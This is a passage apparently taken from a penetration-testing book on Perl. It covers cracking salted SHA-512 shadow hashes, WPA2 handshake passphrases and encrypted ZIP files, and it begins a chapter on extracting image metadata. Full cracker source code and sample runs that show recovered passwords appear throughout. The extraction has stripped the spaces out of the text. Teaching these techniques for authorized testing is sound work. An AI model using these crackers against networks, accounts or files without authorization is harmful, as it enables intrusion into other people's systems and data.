my$usage=“Usage:./linux_sha512.pl<SHADOWFILE>”;
open(SHDW,“shadow.txt”)ordie$usage;
my@threads;
while(<SHDW>){
chomp$_;
if(m/([^\$]+)\$[0-9]\$([^\$]+)\$([^:]+):/){#createthread:
print“Threadingpasswd()foruser:“,$1,”\n”;
my$thread=threads->new(
sub{passwd($1,$2,$3)}
);#savethreadreference:
push(@threads,$thread);
}
}
subpasswd($$$){#user,salt,hash
![Page 249: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/249.jpg)
my($user,$salt,$hash)=@_;
open(WRD,“words.txt”)ordie“words.txtnotfound.”;
while(<WRD>){
chomp$_;
if(crypt($_,”\$6\$”.$salt)=~/$hash/){
print“Passwordcrackedforuser:“,$user,”:“,$_,”\n”;
closeWRD;
return;
}
}
closeWRD;
return;
}
END{
closeSHDW;
while(scalar@threads>0){
my$thr=shift@threads;
$thr->join()if($thr->is_running());
}
}
TheprecedingcoderepresentsasimplethreadedSHA512crackingapplicationwritteninPerl.Foreachlineinthehashes.txtfile,weparseouttheusername,salt,andhashasbackreferencesintheregularexpression:/([^\$]+)\$[0-9]\$([^\$]+)\$([^:]+):
Afterthis,wesimplythreadacalltopasswd()withthethreeargumentsjustaswedidinthelastfewthreadedpasswordcrackingapplications.Thefollowingisthesampleoutputfromtheapplicationaftercopyingafewlinesfrom/etc/shadowtohashes.txt:
root@wnld960:~#perlsha512_salted.pl
Threadingpasswd()foruser:trevelyn:
Threadingpasswd()foruser:dakuwan:
Threadingpasswd()foruser:victim:
Passwordcrackedforuser:victim::victimpassword
Perlexitedwithactivethreads:
0runningandunjoined
1finishedandunjoined
0runninganddetached
root@wnld960:~#
Nowthatwehaveanideaofhowtocrackpasswordsandthecryptographicconceptofsaltingthepassword,let’snowturnoutattentiontocrackingtheWPA2handshakeweobtainedfromChapter5,IEEE802.11WirelessProtocolandPerl.
![Page 250: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/250.jpg)
WPA2passphrasecrackingwithPerlWPA2isaverycommonmethodtoattempttosecure802.11wirelessdatatransmissions.AwealthofperfectlygoodWPA2crackingsoftwareexists,butforthepurposeoflearningexactlyhowthesework,wewillbecodingourowninPerlfromscratch.Let’sbeginbybrieflylookingathowthehandshakeprocessworks.
![Page 251: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/251.jpg)
Four-wayHandshakeWhenawirelessstationwantstoauthenticatetoaBasicServiceSet(BSS)orwirelessnetwork,itusesasupplicant,orsoftwaretomitigatethecommunicationtotheauthenticatoratlayer2.AnylayerabovethisintheOSImodelisprettymuchoff-limitsuntilthesupplicantsoftwarehasfinishedasuccessfulauthentication.AnexampleofasupplicantwouldbeWiCD,theMicrosoftWindowsWirelessZeroconfigurator,orevenWirelessadaptersoftwarethatcomespackagedwiththe802.11networkhardwaredevicesondisk.TheFour-wayHandshakeitselfiswhatwewilluseintheWPA2crackingprocess.Actually,weonlyneed2packetsfromthetransactionandonebeaconpacket.Thepacketsfromthetransactionthatweneedarepackets1and2,orpackets3and4,andwewillseewhyweonlyneed2packetslaterinthissubsection.InChapter5,IEEE802.11WirelessProtocolandPerl,westimulatedthehandshakeprocessusingadeauthenticationattackononeofthewirelessstationswithAireplay-ng,forcingittoreauthenticate.Thisstepisnotnecessary,sincetheFour-wayHandshakeisperformedeachtimethestationwantstoconnecttotheBSS;wesimplyforcedittosavetime.
802.11EAPOLMessage1ThehandshakeprocessbeganwiththeAPgeneratingarandomvaluecalledanA-nonce,andthesupplicantgeneratinganotherrandomvaluecalledanS-nonce.Thereasoningbehindthenoncevaluesbeingrandomlygeneratedwastoattempttosafeguardthenetworkdataagainstprecomputationattacks.Afterwhich,theAPsendstothestationaEAPOL(802.1X-2001)packetwiththekeytypesetto3.ThispacketincludestheAP’sA-noncestring.ThesupplicantknowsthevalueofthePairwiseMasterKey(PMK)anditcaneasilybecalculatedinPerlusingtheCrypt::PBKDF2Perlmoduleasfollows:my$pbkdf2_pmk=Crypt::PBKDF2->new(#PMKcalculation
hash_class=>‘HMACSHA1’,#HMAC-SHA1
iterations=>4096,#keystretching
salt_len=>length($essid),
output_len=>32
);
my$pmk=$pbkdf2_pmk->PBKDF2($essid,$passwd);
Here,theextendedservicesetidentifier(ESSID,$essid),isthenetworkname,forexample,Linksys,FreeWiFi,orCoffeeShopWiFi.The$passwdisjustthepassphraseorPre-SharedKey(PSK)usedtoauthenticatetothenetwork.Thisprocessisratherslowsinceitutilizesacryptographicmethodknownaskey-stretchinginwhichthepassphraseandsaltarepassedthroughthePassword-BasedKeyDerivationFunction2(PBKDF2)4,096times.Thisimplementationwasonpurposetomakeourtaskofbruteforceastheattackerthatmuchharder,similartohowthesaltdidintheprevioussubsection.Theoutputlengthisalsospecifiedas32bytes.AnexampleofaPMK,as$pmkwillbeasfollows:9051BA43660CAEC7A909FBBE6B91E4685F1457B5A2E23660D728AFBD2C7ABFBA
ThesupplicantinthestationthengeneratesthePairwiseTransientKey(PTK),usingthebasicservicesetidentifier(BSSID),orMACoftheAP,theMACaddressofthestation,thePMK,andbothnoncevalues.ThePseudo-RandomFunction(PRF)function(in
![Page 252: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/252.jpg)
Perl)usedinoursubroutinelookslikethefollowing:print“\nPTK:\t”,my$ptk=ptk(),”\n”;#generatethePTK
subptk{#generatethePTK
my$ptkGen=””;#temporarystorage
for(my$i=0;$i<4;$i++){#fourtimesforfullstring
my$b=$mac1.$mac2.$nonce1.$nonce2.“0”.$i;
my$concat=$pke.$b;
$ptkGen.=hmac_sha1(pack(“H*”,$concat),$pmk);
}
return$ptkGen;
}
Wewillstartwithanemptystring,$ptkGen,tobuildthePTK.ThePTKcalculationstartswithcreatingthe$bstringbyconcatenatingtheMACaddresses,noncevalues,anullbyte,andthevaluefor$i.NotethattheorderoftheMACaddressandnoncevaluesisimportant.Whicheverhexadecimalvalueislowerneedstocomefirst.Inourcase,the$mac1hexadecimalvalueislowerthan$mac2,andsamegoesforthenoncevalues.The$pkestringhasthefollowinghexadecimalvalue:“Pairwisekeyexpansion\0\0”
Thisvalueis:5061697277697365206b657920657870616e73696f6e00
Ifwelookcloselyatthestring,wecanobviouslyrecognizethedoublezeronull-byteattheendjustasitisintheASCIIstringbeforeit.Ifwetakethisapartbytebybyte,westartwiththehexadecimalvalueof50,whichindecimalis80,whichinASCIIreferstothecharacterP.Next,wewillseehexadecimal61,whichindecimalis97,whichinASCIIequatestothecharactera.Ifwecontinuefurther,wewillfinallygetthestringinASCIIlistedabovethehexadecimalstring,includingthenullbyteattheend.ThisstringissolelyusedforthePRFtoderivethePTK.
Wethenusethepack()andunpack()functionsthatweshouldbewellfamiliarwithfromChapter5,IEEE802.11WirelessProtocolandPerl,topacktheconcatenationof$band$pkebeforesendingtheresulttotheHMAC_SHA1()functionfromthePerlmodule,Digest::SHA.Thereturnedvalue,$ptkGen,isthenreturnedfromthesubroutine.
802.11EAPOLMessage2ThesupplicantnowsendstheS-nonce,itsencryptioncapabilities,andaMessageIntegrityCode(MIC)totheAP.WeareinterestedintheMICbecauseweneedtovalidatethemessagebody,inamannersimilartowhattheAPdoes.WhilecrackingWPA2,foreachPSKweattempt,wegenerateanewPTKandhashthemessagebodyandPTKtogethertoproducetheMICvalue.IfthisvalueequalsthatfromtheEAPOLmessagebodyoffset,thenweknowwehavethecorrectPSK.$mic=unpack(“x141H32”,$pkt);#16bytes
submic{#themessageintegritycheck.
my$psk=shift;
print”“x63,”\b”x63,“Trying:“,$psk,”\r”;
my$pad=“0”x32;#16nullbytesforpadding
![Page 253: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/253.jpg)
$msg=~s/$mic/$pad/i;#removetheWPA2MICvaluestring
my$digest=
hmac_sha1(pack(“H*”,$msg),pack(“H*”,substr(unpack(“H*”,$ptk),0,32)));
if(substr(unpack(“H*”,$digest),1,16)eqsubstr($mic,1,16)){
print“PTK:“,unpack(“H*”,$ptk),”\n”;
print“\n\n\tKEYFOUND:[“,$psk,”]\n\n”;
exit;#wearedone
}
return;
}
TheprecedingcodeisusedtohashtheEAPOLmessagebodywiththePTK,thenmatchtheresultwithourMICvalue.ThePSKispassedtothesubroutineandwewilluseShifttoassignitto$psk.WewillclearthelineandprintthePSKwearetryingtousewithacarriagereturncharacter\r,spaces,andbackspacecharacters,\b.
Wecreateapaddingof32zeros,whichweusetoreplacetheMICvalueinthemessagewithasimplecalltothes///substitutionoperator.Nextwecallthehmac_sha1()functionfromDigest::SHA,passingtoitthe(packedup)messagebody,andPTK.Thereturnedvalueto$digestisthencomparedtotheMICvaluein$micandifthefirst16bytesmatch,wehavethecorrectPSK.ThefollowingisascreenshotoftheMICvaluefromanexampleEAPOLmessage:
Theoffsetcanbeeasilycalculatedasweseethatitlieswithintheeighthrowlabeled0080andextendsintotheninth.Eachrowconsistsoftwo8-bytesections.Sincewecountfromzero,wehavethefollowingformula:
![Page 254: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/254.jpg)
Aswehaverows0through7and13outofthe16bytesinrow8whichtotalstoa140byteoffset.WeknowthattheMICvalueis16byteslong,sogatheringthisinformationshouldbeeasy.
NoteUsingWiresharktocheckouroffsetsisvitalwhenprogramminganddebuggingourPerlnetworkutilities.
ContinuingoninourWPA2handshakeprocess,theAPandthesupplicantbothhavethePTK,whichtheycannowusetoencryptunicastpackettraffic.Thisiswherewestop.Withmessages1and2,oreven3and4,wehaveenoughinformationtoattempttobruteforcetheWPA2keyaseachsetcontainsapairofnoncevaluesandMACaddressesoftherecipients.
![Page 255: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/255.jpg)
ThePerlWPA2crackingprogramLet’sbringallofwhatwehavelearnedandthecodesnippetsthatwealreadysawtogetherintoasinglePerlprogram.WewillstartbyusingtheNet::PCAPPerlprogramforreadinginourpacketcapturefilefromChapter5,IEEE802.11WirelessProtocolandPerl,whichcontainsasingleBeaconpacketandtheEAPOLhandshakepackets:#!/usr/bin/perl–w
usestrict;
#DouglasBerdeaux(2014)
useNet::Pcap;
useCrypt::PBKDF2;#PMKhashing
useDigest::SHAqw(hmac_sha1);#PTK/MIChashing
useIO::File;#forspeed(onavgprovedfasterthanopen();
$|=1;#disableprintbuffer
my$usage=“./wpa_crack.pl<BSSID><WORDLIST><PCAPFILE>”;
my$bssid=shiftordie$usage;
my$wordlist=shiftordie$usage;
my$pcapFile=shiftordie$usage;
(my$bssidDec=$bssid)=~s/://g;#usedforhashing
my($nonce1,$nonce2,$essid,$pmk,$mic,$ptk,
$err,$filter,$mac1,$mac2,$pke,$msg)=(””)x13;
my$pbkdf2=Crypt::PBKDF2->new(
hash_class=>‘HMACSHA1’,#HMAC-SHA1
iterations=>4096,#keystretching
salt_len=>length($essid),
output_len=>32
);#belowstringisrequiredforhashing
foreach(split(””,“Pairwisekeyexpansion\0\0”)){
$pke.=sprintf(“%x”,ord($_));
}
my$pcap=pcap_open_offline($pcapFile,\$err);#openfileoffline
pcap_loop($pcap,0,\&eapol,”);
my$filterStr=‘wlanaddr2‘.$bssid.’&ðerproto0x888e’;
pcap_compile($pcap,\$filter,$filterStr,1,0)&&die“cannotcompilefilter”;
pcap_setfilter($pcap,$filter)&&die“cannotsetfilter”;
kill(“ESSID”)if$essideq””;#ALLofthesevaluesarerequired.
kill(“MAC1”)if$mac1eq””;
kill(“MAC2”)if$mac2eq””;
kill(“NONCE1”)if$nonce1eq””;
kill(“NONCE2”)if$nonce2eq””;
print“MAC1:“,$mac1,”\nMAC2:“,$mac2,”\nAnonce:“,$nonce1,
“\nSnonce:“,$nonce2,”\nESSID:“,$essid,”\nMIC:“,$mic,”\n”;
pcap_close($pcap)if$pcap;#finishedfilewith,closeup
my$words=IO::File->new($wordlist,’<’)ordie$wordlist.”:“.$!;
ThisportionofthecodepreparesourapplicationforcrackingWPA2.WehavethreenewPerlmodules:Crypt::PBKDF2,Digest::SHA,andIO::File.ThefirsttwoareusedforPMKandPTK/MICcalculationsrespectively.TheIO::FilePerlmoduleisusedtoquicklystreamourdictionaryfilelinebylinetoourpassphrase-crackingsubroutine.Then,wewilldisabletheSTDOUTbufferandcheckforcommand-linearguments.WeneedtopasstheBSSID,dictionaryfilename,andthepacketcapturefiletotheprogram.WewillcreateadecodedBSSIDbyusingthes///substitutionoperatortoremovethecolons.Next,wewillcreate13stringobjectsusedthroughouttheapplicationtohold
![Page 256: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/256.jpg)
globalvaluesforus.Then,wewillcalltheCrypt::PBKDF2classandcreatethe$pbkdf2objectthatwewilluseforthecalculationofthePMK.Thisinstantiationtakesafewarguments:forthehashclass,theamountofiterationsforkey-stretching,thelengthofthesalt(whichistheESSID),andtheoutputlengthtoreturn.ThisprocessisCPU-intensiveduetokeystretching.
ThenextportionofcodeusesNet::Pcapinanewwaybyopeningafileintheofflinemode.ThesyntaxisverysimilartowhatwehavealreadylearnedwithNet::Pcapinthepreviouschapters.Wewilltellthe$pcapobjectwhatfiletoopen,andthencallthepcap_loop()methodtodefinewhatsubroutinewewantcalledforeachpacketfoundinthefile.Wewillthencompileandsetthefilterforonly802.11EAPOLmessages.Afterchecking,ifallvalueswereresolvedwithmanypotentialcallstothekill()subroutine,wewillclosethe$pcapfiledescriptorandthenopenthedictionaryfileforreadingusingtheIO::FilePerlmodule.
Finally,wewillprintthevaluesthatwefoundfromtheeapol()subroutine,whichwewillcoverlater.Sonowwecanmoveontoourfinalworkflowcode:while(my$psk=<$words>){
chomp$psk;#ridofnewline
$pmk=$pbkdf2->PBKDF2($essid,$psk);#generatePMK
$ptk=ptk();#generatePTK
mic($psk);#CheckwithourMICvalue
}
print“\n\npassphrasenotindictionaryfile,“,$wordlist,”\n”;
Theprecedingcoderunsthroughthedictionaryfilestream’scontents,andforeachline,removesthenewlineattheend,passesittothePBKDF2()methodofthe$pbkdf2objectusing$essidasthesalt,regeneratesthePTKbycallingtheptk()subroutinewedefinedearlier,andthenfinallycallsthemic()subroutinethatperformstheintegritycheckthatwealsodefinedearlierinthissection.Theonlytwosubroutinesleftforustoexaminearetheeapol()andthekill()subroutines.Thekill()subroutineisverysimplisticinthis;itonlytakesasingleargumentanddisplaysitbeforecallingdie()asfollows:subkill{#ifabsolutelyanythingismissing
die“Couldnotdetermine“,$_[0];
}
Thissubroutineiscalledwhenavaluecannotberesolvedfromthepacketcapturefile.
Ourfinalsubroutine,theeapol()subroutine,iswhatiscalledforeverypacketinourpacketcapture(EAPOL)file.Thissubroutineisusedtogatherdatafromthepacketsusingasimpleoffsetmethodandcountingthebytesusingsubstr():subeapol{#parseeapolpacketscalledbypcap_loop:
my($ud,$hdr,$pkt)=@_;#subtypeof8isBeacon:
if(hex(unpack(“x26h2”,$pkt))==8&&unpack(“H*”,substr($pkt,36,6))eq
$bssidDec){
#Taggedparametersstartonbyte63(nullbyte),
#andthefirstisSSIDinaBeacon,
for(my$i=0;$i<(hex(unpack(“x63H2”,$pkt)));$i++){
my$tag=“x”.(64+$i).”C2”;#weadd1forthetaglengthbyte
$essid.=sprintf(“%c”,(unpack($tag,$pkt)));
}
![Page 257: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/257.jpg)
return;
}elsif(unpack(“x58H4”,$pkt)eq“888e”){#EAPOLPackets
if(!$mac1){#getMACaddressesforstationandAP:
$mac1=unpack(“H*”,substr($pkt,36,6))
if($mac2nesubstr($pkt,36,6));
}
if(!$mac2){#6bytevalues
$mac2=unpack(“H*”,substr($pkt,30,6))
if($mac1nesubstr($pkt,30,6));
}
if(!$nonce1){#32bytenoncevalues:
$nonce1=unpack(“H*”,substr($pkt,77,32))
if($nonce2neunpack(“H*”,substr($pkt,77,32)));
}
if(!$nonce2){#secondnoncevaluemustnotbethefirst
$nonce2=unpack(“H*”,substr($pkt,77,32))
if($nonce1neunpack(“H*”,substr($pkt,77,32)));
}
#Nowwelookforthemessageintegritycheckcode:
if(hex(unpack(“x141H2”,$pkt))!=0){
$mic=unpack(“x141H32”,$pkt);#16bytes
$msg=unpack(“H*”,substr($pkt,60,121));#getmessagebody
}
}
return;
}
Thisisourfinaleapol()subroutine.Theuserdata,header,andmessagebody(as$pkt)arepassedtotheeapol()subroutineforeachpacketfoundinthepacketcapturefile.WeusedthissamesyntaxinallofourpreviousNet::PcapPerlapplications.The$pktobjectiswhatweuseforsteppingthroughthepacketsbytebybyteusinganoffset.Thefirstif()statementwewilldefineistogathertheESSID,as$essid.Thisisataggedparameter,whichwelearnedaboutinChapter5,IEEE802.11WirelessProtocolandPerl.So,weneedtogettheESSIDlengthasataglength,andforeachbyteusesprintf()todisplaythecharacterandstoreitinthestring.TheESSIDstringisusedforthePRFlateronasasalt.Theoffsetofthetaglengthbyteis64bytesfromthebeginningofthemessage,andthosebytesaretruncatedusingtheunpack()methodtemplatex63H2.The64thbytevalueisthevaluewewilluseforthefor()loopafterweunpackitandreturnthehexadecimalvalueusinghex()asfollows:for(my$i=0;$i<(hex(unpack(“x63H2”,$pkt)));$i++){
Thecompoundstatementinthefor()loopaccountsforthe64thbytebeingataglengthandnotpartoftheESSID,andstartscollectingbytevaluesfrom65andupuntilitreachestheendoftheESSID.NowthatwehavetheESSID,wereturnfromthesubroutine.
ThenextpacketinshouldbeanEAPOLmessageandwewillcheckitusingthevalueof888e.Whenwemakeittothiscompoundstatement,weattempttogathertheMACaddresses,andtheMIC(16bytesbeginningwiththe141stbyte,aswehaveseeninthepreviousWiresharkscreenshot)andnoncevalues.Wewillalsogetthemessagebodyfromtheoffsetof60tothelastbyte.Thisiswhatwepassedtothemic()subroutinewedefinedearlierinthissection.
Let’slookattheoutputofthisapplicationwhenwehaveasuccessfulWPA2PSKhash
![Page 258: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/258.jpg)
match:
root@wnld960:~#perlwpa2_cracking.pl00:1d:d0:f6:94:b0words.txteapol.cap
MAC1:001dd0f694b0
MAC2:489d2477179a
Anonce:76971484e0d2aa510cf7584736e3a2653372ae9d19a3ffab356e32c57e40b5f3
Snonce:ac4862ecef342c9fa347b0223999f70187b8e7b824b352c7866d710cc401f5d5
ESSID:wnlc
MIC:dbd08d927b12c4b257f0e491e3c6a582
PTK:
700607d329ccb285d2661a18528a1d6277ad8bcf0146fe7568cb6a49016264c19520d061ea74e0bcf0f70e2eb94c42d20e00fdf02bb55bee9e3c1834d1d34f8363b4a7e146cf986b690dafade189dbf4
KEYFOUND:[ilovepenelope2012]
root@wnld960:~#
TheprecedingoutputshowsthatwehavesuccessfullyemulatedtheFour-wayHandshakewiththecorrectPSKtocracktheWPA2passphrase.
![Page 259: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/259.jpg)
CrackingZIPfilepasswordsDuringwebpenetrationtesting,wecanoftengatherbackupdataintheformofaZIPfile.ZIPfilesthatcontainsensitivedata,forinstance,couldpossiblybeencrypted.Let’stakealookathowwecancreateasimpleZIPfilepasswordcrackingprogramusingPerl.
Firstoff,weneedtocreateasimplepassword-protectedZIPfiletotrythisagainst.WewillbeusingtheLinuxziputilityasfollows:
zipbackup.zip-re*
Thiswillcreateapassword-encryptedZIPfileafteraskingforandconfirmingthepasswordwechoose.
Now,let’susetheArchive::ZipPerlmoduleandcreateasimplebruteforceapplicationthattrieseverydictionarywordinourlisttocrackthepasswordusedtocreatetheZIPfile:#!/usr/bin/perl-w
usestrict;
useArchive::Zip;
my$usage=“./zipcracker.pl<zipfile><wordlist>\n”;
my$zipFile=shiftordie$usage;#needazipfile:P
my$wordList=shiftordie$usage;#neesadictionaryfile
my$dir=“./output/”;
my$zip=Archive::Zip->new($zipFile)ordie“can’tunzip”;
subcrack($);
subunzip($);
open(WRDS,$wordList)ordie“Cannotopenwordlist!”;
crack($_)while(<WRDS>);
warn“Passwordnotindictionaryfile.\n”;
Theprecedingcodeistheinitialcodeforinstantiatingvariablesandcallingsubroutines.First,wewillchecktheargumentsforaZIPfile(encrypted)andawordlist.Next,the$dirobjectdefineswherewewanttoextractthecontentsoftheZIPfile.The$zipobjectisfromtheArchive::ZipPerlclassandwepasstheZIPfilenametoit.Thenweprototypethecrack($)andunzip($)subroutinesandwepassasingleargumenttoeach.Finally,wewillopenthewordlistandloopoveralllinesinafilestream,passingeachtothecrack($)subroutine.Ifthisloopcompletes,wehavenotfoundthecorrectpassword.Let’stakealookatthecrack($)subroutine:subcrack($){
my$passwd=shift;
chomp$passwd;
foreachmy$member_name($zip->memberNames){
#print“MEMBERNAME:“,$member_name,”\n”;
my$member=$zip->memberNamed($member_name);
nextif$member->isDirectory;
$member->password($passwd);
if($member->contentseq”){#wrongpassword
return;#quietly
}else{
print“\nPasswordfound[“,$passwd,”]\n”;
![Page 260: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/260.jpg)
print“Extractingcontentsto,“,$dir,”\n”;
unzip($passwd);
}
}
return;
}
Theprecedingcrack($)subroutinetriesthefirstfileintheencryptedarchivewiththepasswordpassedtoitfromtheWRDSfilestream.Ifthecontentsmethodreturnsnothing,””,weknowwehavethewrongpasswordandsimplyreturn.Ifitdoesnotreturnanemptystring,however,wewilldisplaythefoundpasswordandthencalltheunzip($)subroutinewiththepassword:subunzip($){
foreachmy$member_name($zip->memberNames){
my$passwd=shift;
my$member=$zip->memberNamed($member_name);
$member->password($passwd);
$member->extractToFileNamed($dir.$member_name);
}
print“Extractioncomplete\n”;
exit;
}
Theunzip($)subroutineisquitesimple.Thisloopsoverthecontentsoftheencryptedzippedarchiveandextractsittothe$dirdirectorywedefinedearlierintheprogram.
Now,let’srunthissimpleprogramagainstournewZIPfile,backup.zip,usingourword-listfile,words.txt:
root@wnld960:~#perlzipcracker.plbackup.zipwords.txt
Passwordnotindictionaryfile.
root@wnld960:~#perlzipcracker.plbackup.zipwords.txt
Passwordfound[password123A]
Extractingcontentsto,./output/
Extractioncomplete
root@wnld960:~#
Thefirsttimewerantheprogram,weusedadictionaryfilethatdidnothavethecorrectpasswordtotestthedesiredresult.
![Page 261: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/261.jpg)
SummaryThischaptertookusonajourneythroughcrackinghashesandpasswordsthatrangedfromsimpletocomplex.Itismuchmorecommonnowfornovicewebdeveloperstonotstoreplaintextpasswords,Wi-Finetworkstobeencrypted,andarchivestoalsobepasswordprotected.Thisskilltocrackpasswordhashesandencryptionisabsolutelyvitaltoaddtoanypenetrationtestingarsenal.
Inthenextchapter,wewilllookathowtofindevenmoreintelligencefromfileswemayhavescrapedfromanypublic-facingserver,includingmetadata.
![Page 262: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/262.jpg)
Chapter10.MetadataForensicsForensicdatacanbethoughtofasdataandcluesthattellusthingsaboutthepast.Forinstance,metadatafromimagesorotherfilescantellusalotabouthowthatfilewascreatedandbywhom.Logsoflogins,users,andevencredentialdataoncompromisedserverscanbeusedagainstourtargetfrommanydifferentangles.Inthischapter,wewillbedesigningaPerlprogramthatcanbeusedduringapenetrationtestforsearchingthroughthemetadataoffilesfoundonthepublicwebserversofourvictimtarget.
![Page 263: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/263.jpg)
MetadataandExifMetadataisdataaboutafileoranorganizedcollectionofdata.DataminingandinformationgatheringcanbeextendedintoanalyzingsimpleExchangeableImageFormatted(Exif)imagestoobtainmetadatacontainedwithinthem.Metadatacanofferpersonalinformationaboutourtargetfromimages,PDFfiles,MicrosoftOfficefiles,andmore.ThetypesofmetadatathatcanbeextractedincludeGPScoordinates,names,andothercluestobeusedagainstourtarget.
![Page 264: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/264.jpg)
MetadataextractorWewillbedesigningaPerlprogramtoextractmetadatainwhichwewillbeusinganewPerlmodule,Image::ExifTool.WewillalsobeusingtheLWP::UserAgentPerlmoduletoconvertGPScoordinatesintodetailedlocationinformationusingGoogle’sGPSAPI.Let’sjumprightinandanalyzethecodeinsections.Afterthis,wewillrunthecodelistednextusingafewfilesfoundonourclienttarget’swebserver:#!/usr/bin/perl-w
usestrict;
useImage::ExifToolqw(:Public);
useLWP::UserAgent;
my$usage=“Usage:./mdextract<filename>”;
my$file=shiftordie$usage;
my$exifTool=newImage::ExifTool;
my$info=$exifTool->ImageInfo($file);
my$group=””;#whichgrouptogetdatafrom
my$gpsCheck=””;#shouldweresolvelocationdata?
subconvertGPS($);#prototypeGPSinfo
Inthisbeginningcode,wesetupafewglobalvaluestousewithourmetadataextractionapplication.Wedefinea$usagedialogincaseafilenameisnotpassedviathecommandline,andwecreateanewExif::ImageToolobject,$exifTool.WecalltheimageInfo()methodonthenewobjecttoinstantiatea$infoobject.Finally,weuseaBooleantoseewhetherornotweneedtocreatedetailedlocationdatausingGPScoordinates,andweprototypethesubroutineconvertGPS()todothis.Nowlet’stakealookattheworkflowofourapplication:foreachmy$tag($exifTool->GetFoundTags(“group0”)){
if($groupne$exifTool->GetGroup($tag)){
$group=$exifTool->GetGroup($tag);
print“\n”,”-“x4,”“,$group,”“,”-“x4,”\n”;
}
my$v=$info->{$tag};
if(ref$veq‘SCALAR’){
if($$v=~/^Binarydata/){
$v=“($$v)”;
}else{
my$len=length($$v);
$v=“(Binarydata$lenbytes)”;
}
}
print$exifTool->GetDescription($tag),”:“,$v,”\n”;
if($exifTool->GetDescription($tag)eq“GPSPosition”){
$gpsCheck=convertGPS($v);
}
}
Theworkflowoftheprecedingapplicationbodystartsbypassingthegroup0stringtothegetFoundTags()methodofthe$exifToolobject.Foreachtagfound,weassignittothe$taglocalvariable.Sinceweinitialized$groupasnull,itwillprintthevaluereturnedbythegetGroup()methodofthe$exifToolobject.Inthefollowinglines,wepass$tagintotheinfomethodofthe$infoobjectandcreateapointer$vtothatdata.Wecheckthe
![Page 265: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/265.jpg)
typeofthereferencebyusingtherefPerloperator.Ifitreturnsascalar,wethencheckwhetherornotitcontainsbinarydata.
Next,weusethe$exifToolobjectandcalltheGetDescription()methodbypassing$tagintoit,andprintitsvalue.Ifthedescriptioncontainsthestring’sGPSposition,thenwecancallouronlysubroutinetodisplaythedetailedlocationinformation,convertGPS(),andpasstoitthedescription.Nowlet’stakealookattheconvertGPS()subroutine:subconvertGPS($){#convertfromDeg,Min,SectoDec
my$ua=LWP::UserAgent->new;
$ua->agent(“Mozilla/5.0(Windows;U;WindowsNT6.1en-US;rv:1.9.2.18)
Gecko/20110614Firefox/3.6.18”);
